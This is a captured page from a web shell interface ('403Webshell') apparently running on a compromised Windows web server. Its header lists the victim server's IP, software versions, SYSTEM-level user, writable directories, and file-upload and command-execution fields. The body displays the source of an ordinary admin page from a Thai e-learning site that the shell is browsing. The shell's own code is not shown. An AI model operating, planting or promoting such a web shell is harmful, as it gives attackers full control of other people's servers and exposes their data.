403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/news/elearning/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/news/elearning/admin/manage_category.php
<?php
require '../configs/app_top.php';
if(!is_admin_logged_in()) { redirect(generate_admin_link("login")); exit;}

$title = "จัดการหมวดหมู่";

$sql1 = "select count(*) as count FROM " . TBL_CATEGORY . " WHERE 1 ORDER BY ct_name ASC ";
try {
  $stmt = $DB->prepare($sql1);
  $stmt->execute();
  $results = $stmt->fetchAll();
  $total = $results[0]["count"];
  $pagination = new Pagination($total, $_GET["pagenum"], 20);
  $total_pages = $pagination->total_pages();

  if ($total_pages > 0) {
    $sql2 = "select `ct_id`, `ct_name`, `active` "
            . "FROM " . TBL_CATEGORY . " WHERE 1 ORDER BY ct_name ASC "
            . "LIMIT " . $pagination->get_lower_limit() . " , " . 20 . "";

    $stmt = $DB->prepare($sql2);
    $stmt->execute();
    $results = $stmt->fetchAll();
  }
} catch (Exception $ex) {
  echo $ex->getMessage();
}


include './includes/header.php';
?>
  <?php if ($ERROR_TYPE <> "") { ?>
        <div class="col-12">
          <div class="alert alert-<?php echo $ERROR_TYPE; ?>">
            <button data-dismiss="alert" class="close" type="button">×</button>
            <?php echo $ERROR_MSG; ?>
          </div>
        </div>
      <?php } ?>

<div class="clearfix"></div>
<div class="row">
  <div class="col-12">

    <div class="panel panel-default">
      <div class="panel-heading"><span class="glyphicon glyphicon-cog"></span> <?php echo $title; ?></div>
      <div class="panel-body">
        <div class="margin10">
          
          <div class="padding5 clearfix"></div>
          <?php if ($total_pages > 0) { ?>

            <table class="table table-hover table-datatable table-striped table-bordered">
              <thead>
                <tr>
                  <th style="text-align: left;">ชื่อหมวดหมู่</th>
                  <th style="text-align: center;">สถานะ</th>
                  <th style="text-align: center;">การจัดการ</th>
                  </tr>
                </thead>

                <tbody>
                  <?php foreach ($results as $r) { ?>
                    <tr>
                      <td style="text-align: left;"><?php echo safe_output($r["ct_name"]) ?></td>
                      <td style="text-align: center;">
                        <?php if ($r["active"] == "yes") { ?>
                        <span class="label label-success">เปิดสอบ</span>
                        <?php } else { ?>
                        <span class="label label-danger">ปิดสอบ</span>
                        <?php } ?>
                        
                      </td>
                      <td style="text-align: center;">
                        <a href="<?php echo generate_admin_link("category", "mode=edit&id=" . ($r["ct_id"]) . "&" . get_all_get_params(array("id"))); ?>">
                          <button class="btn btn-sm btn-warning" type="button"><span class="glyphicon glyphicon-edit"></span> แก้ไข</button>
                        </a>
                        
                        <a data-href="<?php echo generate_admin_link("category_auth", "mode=delete&id=" . ($r["ct_id"]) . "&" . get_all_get_params(array("id"))); ?>" data-toggle="modal" data-target="#confirm-delete"  href="javascript:void(0);">
                          <button class="btn btn-sm btn-danger" type="button"><span class="glyphicon glyphicon-trash"></span> ลบ</button>
                        </a>

                      </td>
                    </tr>
                  <?php } ?>
                </tbody>

              </table>

              <div class="col-12 center">
                <ul class="pagination">
                  <?php $pagination->display_links($PAGE_NAME); ?>
                </ul>
              </div>

              <div class="modal fade" id="confirm-delete" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
              <div class="modal-dialog">
                <div class="modal-content">
                  <div class="modal-header">
                    <h4>Delete</h4>
                  </div>
                  <div class="modal-body">
                    Are you sure you want to delete?
                  </div>
                  <div class="modal-footer">
                    <button type="button" class="btn btn-default" data-dismiss="modal">Cancel</button>
                    <a href="#" class="btn btn-danger danger">Delete</a>
                  </div>
                </div>
              </div>
            </div>
          <?php } else { ?>
            <h3>No records found in the database.</h3>
          <?php } ?>


        </div>
      </div>
    </div>
  </div>
</div>
<script>
  jQuery(function() {
    jQuery('#confirm-delete').on('show.bs.modal', function(e) {
      jQuery(this).find('.danger').attr('href', jQuery(e.relatedTarget).data('href'));
    });
  });
</script>
<?php
include './includes/footer.php';
require '../configs/app_bottom.php';
?>

Youez - 2016 - github.com/yon3zu
LinuXploit